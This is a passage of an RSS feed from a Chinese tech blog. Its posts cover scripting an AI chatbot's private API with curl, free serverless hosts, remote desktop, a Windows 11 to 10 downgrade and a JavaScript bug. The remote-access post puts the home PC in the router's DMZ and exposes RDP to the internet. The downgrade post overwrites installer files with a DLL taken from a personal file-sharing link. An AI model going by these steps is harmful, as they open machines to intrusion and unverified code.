&lt;pre&gt;&lt;code&gt;SELECT session_id, COUNT(*) 
FROM public.session
GROUP BY session_id
HAVING COUNT(*) &amp;gt; 1;

-- 保留最早的 created_at
DELETE FROM public.session
WHERE ctid NOT IN (
    SELECT MIN(ctid)
    FROM public.session
    GROUP BY session_id
);

ALTER TABLE public.session
ADD CONSTRAINT session_id_unique UNIQUE (session_id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;至此，迁移工作结束&lt;/p&gt;
</content:encoded></item><item><title>上手米哈游AI，然后把它逆了！</title><link>https://2x.nz/posts/anuneko/</link><guid isPermaLink="true">https://2x.nz/posts/anuneko/</guid><description>AnuNeko是一只会哈气的橘猫...其实不是，AnuNeko是由米哈游创始人做的AI大模型，会哈气。于是便做个QQBot给群友玩</description><pubDate>Tue, 02 Dec 2025 01:11:40 GMT</pubDate><content:encoded>&lt;h1&gt;这是What&lt;/h1&gt;
&lt;p&gt;这是橘猫，会哈气（见封面&lt;/p&gt;
&lt;p&gt;你可以前往 &lt;a href=&quot;https://anuneko.com/#/chat&quot;&gt;AnuNeko&lt;/a&gt; 逗猫&lt;/p&gt;
&lt;h1&gt;逆！&lt;/h1&gt;
&lt;p&gt;okok，注意到登陆后的请求头中有 &lt;code&gt;x-token&lt;/code&gt; 字段
&lt;img src=&quot;https://2x.nz/_astro/anuneko-1.mRJTn0cb.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;手搓个请求发发，&lt;code&gt;data&lt;/code&gt; 携带内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://anuneko.com/api/v1/msg/会话id/stream&apos; \
--header &apos;x-token: 账号Token&apos; \
--header &apos;Content-Type: text/plain&apos; \
--header &apos;Cookie: 自动拿取&apos; \
--data &apos;{&quot;contents&quot;:[&quot;test&quot;]}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通了
&lt;img src=&quot;https://2x.nz/_astro/anuneko-2.DvMC8-KE.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后还有一种情况，在遇到Pick的时候，我们要发送要选择的回复编号
&lt;img src=&quot;https://2x.nz/_astro/anuneko-3.DyNcbrdK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发个如图请求帮橘猫选择&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://anuneko.com/api/v1/msg/select-choice&apos; \
--header &apos;x-token: 你的Token&apos; \
--header &apos;Content-Type: text/plain&apos; \
--header &apos;Cookie: 自动拿取&apos; \
--data &apos;{&quot;msg_id&quot;:&quot;会话id&quot;,&quot;choice_idx&quot;:0或1}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有还有，这有个橘猫和黑猫，如何切换一个会话的猫？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --location &apos;https://anuneko.com/api/v1/user/select_model&apos; \
--header &apos;x-token: 你的Token&apos; \
--header &apos;Content-Type: text/plain&apos; \
--header &apos;Cookie: 自动拿取&apos; \
--data &apos;{&quot;chat_id&quot;:&quot;会话id&quot;,&quot;model&quot;:&quot;Exotic Shorthair或Orange Cat&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随便写了个适用于NoneBot2的插件，玩吧
&lt;a href=&quot;https://github.com/afoim/AnuNeko_NoneBot2_Plugins/blob/main/anuneko.py&quot;&gt;AnuNeko_NoneBot2_Plugins/anuneko.py at main · afoim/AnuNeko_NoneBot2_Plugins&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>盘点那些好用的Serverless（云函数）！</title><link>https://2x.nz/posts/serverless-function/</link><guid isPermaLink="true">https://2x.nz/posts/serverless-function/</guid><description>你是否为了搭建一个网站而买了一台VPS，然后安装宝塔或1Panel再安装Nginx等等等等？现在这些统统不要！只需要稍加学习，你就可以得到一个免费的高可用的托管服务！</description><pubDate>Tue, 25 Nov 2025 00:33:24 GMT</pubDate><content:encoded>&lt;h1&gt;何为Serverless&lt;/h1&gt;
&lt;p&gt;就像简介所说，传统来说我们搭建Web服务一般会选择买一个VPS，然后在其上安装管理面板，再安装所需软件，如Nginx，AList，最后运行，开放端口，再设置DNS解析，这样，一个网站就成功上线了&lt;/p&gt;
&lt;p&gt;而Serverless就简单多了，毕竟 &lt;strong&gt;Server&lt;/strong&gt; 被 &lt;strong&gt;Less&lt;/strong&gt; 掉了&lt;/p&gt;
&lt;p&gt;这又是什么意思呢？在Serverless服务里，你不再需要管理传统的VPS，而是直接将业务代码上传到目标平台，再由平台的CI/CD自动部署你的服务&lt;/p&gt;
&lt;p&gt;举个不恰当的例子就比如你正在观看的这个 &lt;a href=&quot;https://2x.nz&quot;&gt;博客&lt;/a&gt; ，首先我将源码上传到 &lt;a href=&quot;https://cloud.tencent.com/document/product/1552/118260&quot;&gt;边缘安全加速平台 EO Pages_腾讯云&lt;/a&gt; ，再经由平台构建出最终的HTML页面，然后再在平台上绑定域名，直接访问就可以了&lt;/p&gt;
&lt;p&gt;不难看出，在上一个例子中，我并没有去从零开始搭建这个服务，而是仅做了两件事：1. 源码上传 2. 绑定域名，而其他事情全部交给平台的自动化，这不仅极大减少了运维成本，并且在做版本控制的时候也更加容易&lt;/p&gt;
&lt;h1&gt;Serverless的利与弊&lt;/h1&gt;
&lt;p&gt;在Serverless中，你不再需要管理基础设施，只需要确保你的代码能跑，然后直接上传到平台，平台会帮你做好后续工作&lt;/p&gt;
&lt;p&gt;并且，这往往是 &lt;strong&gt;免费&lt;/strong&gt; 的，或者说，大部分Serverless平台都有 &lt;strong&gt;免费层&lt;/strong&gt; 。因为在平台看来，你只是租用了你所需要的东西，相比于哪些大客户，你的开销可以说是忽略不计&lt;/p&gt;
&lt;p&gt;并且在Serverless中，你永远只是用户，但是如果你买的是VPS，一般来说你是可以完全控制这台VPS的，如设置防火墙，或是重装系统，而这种代价是高昂的，这也是为什么你能看到许许多多免费的Serverless服务，但是几乎看不到免费的VPS提供商&lt;/p&gt;
&lt;p&gt;但这也有一些弊端，Serverless往往有严格的用量限制，在传统的VPS中，往往IDC会限制你的 &lt;strong&gt;最大带宽&lt;/strong&gt;、&lt;strong&gt;公网IP&lt;/strong&gt;  和 &lt;strong&gt;总流量&lt;/strong&gt; ，但是在Serverless中，往往只会限制你的 &lt;strong&gt;总流量&lt;/strong&gt; ，但可能还会有一些限制，如：&lt;strong&gt;CPU最长执行时间&lt;/strong&gt; 、&lt;strong&gt;总请求数&lt;/strong&gt; 、&lt;strong&gt;函数总请求数&lt;/strong&gt; 、&lt;strong&gt;函数最长执行时间&lt;/strong&gt; 等等等等&lt;/p&gt;
&lt;p&gt;因为当你在用Serverless的时候，你的服务直接跑在其平台的CDN上的，你将直接享有所属平台的CDN IP段以及带宽，这也让平台的管理更加方便，不需要大量购入物理机开虚拟机做VPS，只需要做一个小集群并做好用户分配即可&lt;/p&gt;
&lt;p&gt;Serverless也比Server更容易做版本控制和Debug，由于Serverless和Git是天生一体的。在用户看来，只需要先将代码托管到Github，再将代码库连接到Serverless平台，此后，你的服务每一次更新就只需要更新源码了，平台会自动帮你构建。当你想要回滚版本的时候，直接将部署回退为之前的提交即可，而Debug无需再连到服务器上做，只需要有一台电脑，将代码拉下来，本地Dev Debug后，再将修复后的代码提交，平台就能自动部署了&lt;/p&gt;
&lt;h1&gt;好用的Serverless平台&lt;/h1&gt;
&lt;h3&gt;&lt;a href=&quot;https://pages.edgeone.ai/zh&quot;&gt;边缘全栈开发平台 - EdgeOne Pages&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;:::caution
请不要在其上部署日流量超 &lt;strong&gt;10M&lt;/strong&gt; 的服务，很有可能会被停用账号
:::&lt;/p&gt;
&lt;p&gt;支持原生JS和Node Function，如果你的项目是基于Node打造的，仅需修改一下函数出入口即可无缝迁移。并且目前的 &lt;strong&gt;Pages Function&lt;/strong&gt; 是 &lt;strong&gt;不计请求也不计费&lt;/strong&gt; 的，非常适合部署一些仅自己用的服务&lt;/p&gt;
&lt;p&gt;不过其自带的构建服务性能较低，上线速度可能稍慢&lt;/p&gt;
&lt;p&gt;示例服务：  &lt;a href=&quot;/posts/unknown-upload/&quot;&gt;自建一个匿名文件上传终结点 - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://vercel.com/docs/functions&quot;&gt;Vercel Functions&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;支持非常多的语言，如 Node.js、Python、Go、Wasm 等等。构建服务非常强劲！&lt;strong&gt;默认分配 4C8G&lt;/strong&gt; 帮你构建！&lt;/p&gt;
&lt;p&gt;用量限制非常宽松，并且可以超过限制的 &lt;strong&gt;2倍&lt;/strong&gt; 以上仍保持正常访问
&lt;img src=&quot;https://2x.nz/_astro/serverless-function-1.SYAD1ZTT.webp&quot; alt=&quot;&quot; /&gt;
示例服务： &lt;a href=&quot;/posts/onedrive-index/&quot;&gt;来！让我们用Vercel来分享你的OneDrive！ - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://www.netlify.com/platform/core/functions/&quot;&gt;Netlify Functions&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;支持 JS/TS 和 Go。用量限制更宽松！仅限制每个月100G传输流量，但是一旦超限，即刻宕机&lt;/p&gt;
&lt;p&gt;示例服务： https://nf-gh.072103.xyz/afoim&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://www.cloudflare-cn.com/developer-platform/products/workers/&quot;&gt;Cloudflare Workers | 利用易于使用的开发工具构建和部署代码 | Cloudflare&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;支持众多语言，但是对JS/TS的支持最好，特别注意不支持完整的 &lt;strong&gt;Node.js&lt;/strong&gt; 环境。Python目前无法通过pip安装包。优点在于可以和更多Cloudflare产品做协同，如Cloudflare R2 对象存储、Cloudflare KV 键值对存储、Cloudflare D1 SQL数据库&lt;/p&gt;
&lt;p&gt;每天限制 &lt;strong&gt;10W&lt;/strong&gt; 请求，但是超了并不会 &lt;strong&gt;始终返回&lt;/strong&gt; 不可用，而是 &lt;strong&gt;可能会请求错误&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;示例服务： &lt;a href=&quot;/posts/warden-worker/&quot;&gt;你可曾想过，直接将BitWarden部署到Cloudflare Worker？ - AcoFork Blog&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://huggingface.co/&quot;&gt;Hugging Face – The AI community building the future.&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;:::caution
请不要在其上部署 &lt;strong&gt;AList&lt;/strong&gt; ！秒封！
:::&lt;/p&gt;
&lt;p&gt;严格意义上来说，这是个帮你跑AI大模型服务的平台，但是由于它支持跑 &lt;strong&gt;Docker&lt;/strong&gt; ，可玩性还是很高的&lt;/p&gt;
&lt;p&gt;不过访问链接需要你拼一下： https://用户名-Space名.hf.space/&lt;/p&gt;
&lt;p&gt;示例服务： &lt;a href=&quot;https://acofork1-netease.hf.space/&quot;&gt;网易云音乐工具箱&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://run.claw.cloud/&quot;&gt;ClawCloud Run | Build, Deploy, Manage &amp;amp; Run in Cloud-Native Platform&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;之前被干爆过，目前亚太爆炸，每个月有 &lt;strong&gt;5 美元&lt;/strong&gt; 余额，直接跑Docker，按你分配的CPU核心数和内存来计费。不过 Hobby 计划还蛮便宜的，常用的话可以买
&lt;img src=&quot;https://2x.nz/_astro/serverless-function-2.CIBCgThJ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://render.com/&quot;&gt;Render&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/serverless-function-3.DJCxIIlb.webp&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;每月免费100G流量&lt;/strong&gt;，支持非常多的服务，如：静态网站、Web服务（Docker）、定时服务、PostgreSQL数据库、Key Vaule存储&lt;/p&gt;
&lt;p&gt;唯一的缺点，性能不高&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://zeabur.com/zh-CN/&quot;&gt;Zeabur&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/serverless-function-4.x60ynRMO.webp&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;每月免费5刀额度&lt;/strong&gt; ，免费计划有两个地域可选
&lt;img src=&quot;https://2x.nz/_astro/serverless-function-5.DX5m52uX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最重磅的在于你可以将自己的VPS托管给Zeabur，它会在你的服务器上安装k3s等服务，之后你就可以直接在Zeabur的仪表盘上进行运维了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;最小服务器要求：2GB 内存，1 核 CPU。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/serverless-function-6.Ddu1bYyO.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;结语&lt;/h1&gt;
&lt;p&gt;Serverless不像传统的VPS，你并不完全拥有它，所以有些服务是不能跑的， &lt;strong&gt;特别是在免费层&lt;/strong&gt; ，如特别吃IO和网络的 &lt;strong&gt;AList&lt;/strong&gt; ，或是并发请求特别高以及商用服务。如果你用的舒心，请考虑购买各大平台的付费版套餐&lt;/p&gt;
</content:encoded></item><item><title>出门在外，如何优雅、高效、流畅地远程自家电脑？</title><link>https://2x.nz/posts/remote/</link><guid isPermaLink="true">https://2x.nz/posts/remote/</guid><description>出门在外时，身边未必没有电脑，但真正熟悉、完整的工作环境往往还是家里的那台主机。因此，如何高效远程访问自家电脑，就成了一个很实际的问题。</description><pubDate>Mon, 24 Nov 2025 10:04:57 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;你可能会觉得：远程控制电脑而已，直接装个 UU 远程、向日葵之类的软件不就好了，为什么还要专门写一篇文章？&lt;/p&gt;
&lt;p&gt;但问题在于：如果你的电脑是 32 位系统，而不是 64 位；或者你所在的网络 NAT 类型不够开放，甚至没有 IPv6，又该怎样尽可能优雅、高效、流畅地远程访问家里的电脑呢？&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;这篇文章分两部分来讲：一部分针对 64 位电脑，配置相对简单；另一部分针对 32 位电脑，操作会稍微复杂一些。&lt;/p&gt;
&lt;h3&gt;64位&lt;/h3&gt;
&lt;p&gt;首先，打开家里路由器的 &lt;strong&gt;UPnP&lt;/strong&gt; 功能，然后直接下载 &lt;a href=&quot;https://uuyc.163.com/&quot;&gt;网易UU远程官网_真4K、真免费、真好用&lt;/a&gt;。登录账号后即可直接连接，大部分情况下都能走 P2P（点对点连接，也就是控制端和被控端直接建立连接）。&lt;/p&gt;
&lt;h3&gt;32位&lt;/h3&gt;
&lt;p&gt;由于 UU 远程仅支持 64 位电脑，这里就得换一种思路了。&lt;/p&gt;
&lt;p&gt;我采用的方法会稍微“极客”一些：把家里设备的 &lt;strong&gt;RDP&lt;/strong&gt; 端口映射到公网，也就是借助 &lt;strong&gt;STUN&lt;/strong&gt;。不过，这种方案要求家庭网络的 NAT 类型为 1（Full Cone）。&lt;/p&gt;
&lt;p&gt;首先，把家中路由器的 &lt;strong&gt;DMZ 主机&lt;/strong&gt; 设置为家里电脑的 IP 地址。
&lt;img src=&quot;https://2x.nz/_astro/remote.DfNLBB_T.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;启用 DMZ 后，所有打到路由器端口上的流量（除路由器自身占用的端口外）都会被转发到这台 DMZ 主机。&lt;/p&gt;
&lt;p&gt;换句话说，访问路由器的 &lt;code&gt;3389&lt;/code&gt; 端口，本质上就是在访问这台电脑的 &lt;code&gt;3389&lt;/code&gt; 端口。&lt;/p&gt;
&lt;p&gt;完成这一步后，就可以借助 &lt;strong&gt;STUN&lt;/strong&gt; 协议，把路由器的 &lt;code&gt;3389&lt;/code&gt; 端口映射到 ISP 分配给你的公网地址上。&lt;/p&gt;
&lt;p&gt;更直白一点说，完成 STUN 后，只要访问 &lt;code&gt;公网 IP:随机端口&lt;/code&gt;，就能连到路由器的 &lt;code&gt;3389&lt;/code&gt; 端口；而由于前面已经配置了 DMZ，这个请求最终又会被转发到电脑的 &lt;code&gt;3389&lt;/code&gt; 端口。&lt;/p&gt;
&lt;p&gt;那么，怎样才能比较简单地建立一个 &lt;strong&gt;STUN 隧道&lt;/strong&gt; 呢？&lt;/p&gt;
&lt;p&gt;我这里使用的是 &lt;a href=&quot;https://github.com/MikeWang000000/Natter&quot;&gt;MikeWang000000/Natter: Expose your TCP/UDP port behind full-cone NAT to the Internet.&lt;/a&gt;。它是一个用 Python 编写的程序。在确认你的网络为 NAT1 后，可以直接使用类似 &lt;code&gt;python natter.py -p 3389&lt;/code&gt; 的命令来创建 STUN 隧道。
&lt;img src=&quot;https://2x.nz/_astro/remote-1.auUfSM6C.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当你看到类似 &lt;code&gt;WAN &amp;gt; 112.32.39.77:55265    [ OPEN ]&lt;/code&gt; 这样的输出时，就说明映射已经成功。此后，只要设备能够接入 &lt;strong&gt;互联网&lt;/strong&gt;，就可以通过这个 &lt;code&gt;公网 IP:端口&lt;/code&gt; 访问家里的电脑。&lt;/p&gt;
&lt;p&gt;最后，按下 &lt;code&gt;Win + R&lt;/code&gt; 打开“运行”，输入 &lt;code&gt;mstsc&lt;/code&gt;，就能启动 Windows 自带的远程桌面，开始远程连接。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/9207_1_112_29_106_130_gdqwd8.Cmp7bTX3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/9207_112_29_106_130_rx7fsq.vQUl7bTw.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Win11保留数据无损降级Win10！</title><link>https://2x.nz/posts/win11-to-win10/</link><guid isPermaLink="true">https://2x.nz/posts/win11-to-win10/</guid><description>我真的受够了Win11那黏黏的感觉了，什么？能降级？还是官方手段？还能保留数据？？?</description><pubDate>Sun, 23 Nov 2025 07:18:40 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;为什么要回到Win10&lt;/h3&gt;
&lt;p&gt;有太多理由了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Win11几乎只升级了UI，并且新的UI优化不完全，导致很多地方有粘滞感，参见： &lt;a href=&quot;https://www.bilibili.com/video/BV11MVoznE4L/?spm_id_from=333.1387.search.video_card.click&amp;amp;vd_source=6b94c66d8e200ba092130f674228bbff&quot;&gt;我们发现了Win11操作总是不跟手的深层原因！_哔哩哔哩_bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Win10和Win11都是NT 10.x的内核，能跑在Win11上的程序必然能在Win10上跑。而微软大部分的程序文档中规定的最低版本号几乎都为 &lt;code&gt;Windows 10 1607 and later&lt;/code&gt; ，也就是 &lt;strong&gt;支持 Windows 10 2016年的版本，以及之后的版本&lt;/strong&gt; ，而我们一般使用的都比这新的多，如 &lt;code&gt;21h2&lt;/code&gt; &lt;code&gt;22h2&lt;/code&gt; ，根本不用担心兼容性问题&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;这种非正常手段的“升级”有哪些影响&lt;/h3&gt;
&lt;p&gt;几乎没有影响，虽然我们需要做点善后工作，但得益于Win10和11本质上是一个东西，并不会造成什么不可逆的损害&lt;/p&gt;
&lt;h3&gt;“升级”后，我会丢失什么？&lt;/h3&gt;
&lt;p&gt;Win11有但Win10没有的东西会消失，两者都有的会保留。专为Win11打造的Appx，“升级”后会不可用或直接消失&lt;/p&gt;
&lt;h3&gt;是保留数据的“升级”吗&lt;/h3&gt;
&lt;p&gt;是的。理论上来说仅会替换Windows版本，并不会清除你的所有数据，如应用，文档，个人信息&lt;/p&gt;
&lt;h3&gt;为什么微软不开放官方通道降级？&lt;/h3&gt;
&lt;p&gt;其实是有的，当你先安装Win10，再通过Windows更新升级为Win11后，你有30天的后悔期，期间你可以在设置中选择回到Windows 10。但30天并不是一个特殊的日子，只是微软为了减少麻烦设置的一个保守日期&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;:::caution
数据无价，谨慎操作
:::&lt;/p&gt;
&lt;p&gt;:::warning
确保你有PE U盘，如果你听不懂我在说什么，请不要继续操作！
:::&lt;/p&gt;
&lt;p&gt;首先确保你正在运行Win11的 &lt;strong&gt;正式版&lt;/strong&gt; ，如果你加入了 &lt;strong&gt;Windows Insider Preivew&lt;/strong&gt; ，请想办法回到 &lt;strong&gt;正式版&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来我们先去下载Win10的ISO，前往 https://www.microsoft.com/zh-cn/software-download/windows10 ，如果你发现你没有可以下载ISO文件的地方，如图
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-1.CYsKe1tI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击F12，打开Devtools，切换为设备仿真
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-2.D5-y5gxL.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按F5，刷新页面，此时网页就会认为你是手机，就会让你下载ISO了
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-3.CxDDANXx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择版本 &lt;strong&gt;Windows 10 （多版本ISO）&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-5.DAUfqoBx.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择 &lt;strong&gt;简体中文&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-6.Chu4ac_j.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载 &lt;strong&gt;64位版本的ISO&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-7.Ckig2IVq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到ISO文件
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-8.DwHuQMcI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确保你安装了 &lt;strong&gt;支持解压缩ISO&lt;/strong&gt; 的软件，如 &lt;a href=&quot;https://www.bandisoft.com/bandizip/&quot;&gt;Bandizip 官方网站 - 免费压缩软件下载 (Windows)&lt;/a&gt; ，&lt;strong&gt;解压ISO文件&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/explorer_xY0rowaOaU.Bti9RgRx.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;strong&gt;已解压的ISO&lt;/strong&gt; 文件夹，重命名 &lt;code&gt;setup.exe&lt;/code&gt; 为 &lt;code&gt;setup1.exe&lt;/code&gt;
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-11.xxwsziTB.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更改文件属性 - 兼容性为 &lt;strong&gt;Windows 8&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/explorer_6TrQ3aXWcR.3lG4MeZ5.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载伪装文件： &lt;a href=&quot;https://acofork-my.sharepoint.com/:u:/g/personal/af_acofork_onmicrosoft_com/ESxJWKgjjHVEhlNoBG4oNWUB_-rGTlLRh1CkXdLoxJsGpw?e=8s79zt&quot;&gt;Win11ToWin10.zip&lt;/a&gt; 目的是强制激活安装程序中的 &lt;strong&gt;保数据升级&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;解压出 &lt;code&gt;ei.cfg&lt;/code&gt; 和 &lt;code&gt;setupcompat.dll&lt;/code&gt; 。将其复制到ISO文件夹下的 &lt;code&gt;sources&lt;/code&gt; 文件夹并替换其中已有的文件
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-13.BOdtY9k9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/explorer_9vcYIunVJH.ib3HEzE5.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开 &lt;code&gt;setup1.exe&lt;/code&gt; ，&lt;strong&gt;更改 Windows 安装程序下载更新的方式&lt;/strong&gt;，选择 &lt;strong&gt;不是现在&lt;/strong&gt;，然后一路下一步
&lt;img src=&quot;https://2x.nz/_astro/SetupHost_dtT7QeMuhO.Bsqv6yiP.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待变为 &lt;strong&gt;准备就绪，可以安装&lt;/strong&gt; ，并确保 &lt;strong&gt;保留个人文件和应用&lt;/strong&gt; ，选择 &lt;strong&gt;安装&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10.BKaxpjlK.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待设备开机时从 &lt;strong&gt;白条转圈&lt;/strong&gt; 变为 &lt;strong&gt;白点转圈&lt;/strong&gt; ，即Windows10已被安装
&lt;img src=&quot;https://2x.nz/_astro/win11-to-win10-15.DZtim5Pc.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来你第一次开机可能会黑屏。表现为用户登录后随着一声警告声并且黑屏，此时移动鼠标可以看到光标移动，但无法点击屏幕上的任何元素&lt;/p&gt;
&lt;p&gt;进入其他系统（如U盘中的PE系统），删除所有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\ProgramData\Microsoft\Windows\AppRepository\StateRepository-开头的文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次开机，应该可以成功开机了&lt;/p&gt;
&lt;p&gt;接下来 &lt;code&gt;Win+X&lt;/code&gt; 打开管理员的Powershell&lt;/p&gt;
&lt;p&gt;首先修复一下系统&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Dism.exe /Online /Cleanup-Image /CheckHealth
DISM.exe /Online /Cleanup-image /Scanhealth
DISM.exe /Online /Cleanup-image /Restorehealth
sfc /scannow
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来修复系统应用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;恢复系统应用：add-appxpackage -register &quot;C:\Windows\SystemApps\*\AppxManifest.xml&quot; -disabledevelopmentmode

恢复内置应用：add-appxpackage -DisableDevelopmentMode -Register &quot;C:\ProgramData\Microsoft\Windows\AppRepository\*\AppxManifest.xml&quot; -verbose

恢复应用商店安装的应用：add-appxpackage -DisableDevelopmentMode -Register &quot;C:\Program Files\WindowsApps\*\AppxManifest.xml&quot; -verbose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你还可能会遇到点击 Win 弹出开始菜单后打不开设置，我是这样解决的
&lt;img src=&quot;https://2x.nz/_astro/explorer_DqoWvdqpPS.CUWF22lg.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;至此，已完美“升级”为Windows10&lt;/p&gt;
</content:encoded></item><item><title>解决困扰我多时的JS重复请求问题</title><link>https://2x.nz/posts/swup-js/</link><guid isPermaLink="true">https://2x.nz/posts/swup-js/</guid><description>这篇文章记录了博客在接入动态访问量统计后，因 Swup 处理不当而产生重复请求的问题，以及最终的排查与修复过程</description><pubDate>Tue, 18 Nov 2025 00:46:02 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;正如标题所说，我的博客是在 &lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;saicaca/fuwari: ✨A static blog template built with Astro.&lt;/a&gt; 的基础上深度改造而来的。&lt;/p&gt;
&lt;p&gt;和 Fuwari 原版一样，它本质上仍然是一个 &lt;strong&gt;静态博客&lt;/strong&gt;：文章以 Markdown 文件形式维护，构建后输出为 HTML。&lt;/p&gt;
&lt;p&gt;但原项目在设计之初并没有重点考虑 &lt;strong&gt;动态功能&lt;/strong&gt;，例如我现在用到的 &lt;strong&gt;访问量显示&lt;/strong&gt;，因此后续接入这类能力时就容易出现一些问题。&lt;/p&gt;
&lt;p&gt;关于访问量显示的整体思路，我已经在 &lt;a href=&quot;/posts/static-view/&quot;&gt;这篇文章&lt;/a&gt; 中讲过。简单来说，它分为两步：1. 先获取全局分享 Token；2. 再使用这个 Token 请求实际访问量数据。&lt;/p&gt;
&lt;p&gt;当时出现了一个比较奇怪的问题：第一步会发生多次重复请求。分析之后我发现，博客里有三个位置都用了同一套逻辑，而且彼此独立。也就是说，用户一打开页面，博客既会获取全站访问量，也会同时请求首屏几篇文章的访问量。&lt;/p&gt;
&lt;p&gt;但这个全局分享 Token 在很长一段时间内其实都不会变化，这就导致出现了不少冗余请求。为了解决这个问题，我当时写了一个中间层：首次请求后把 Token 缓存在用户浏览器里，后续直接复用，不再重复请求。&lt;/p&gt;
&lt;p&gt;不过后来还是有读者发现，某些页面依旧会多次请求 Umami，如图所示：
&lt;img src=&quot;https://2x.nz/_astro/swup-js-1.Cuw-aHX8.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
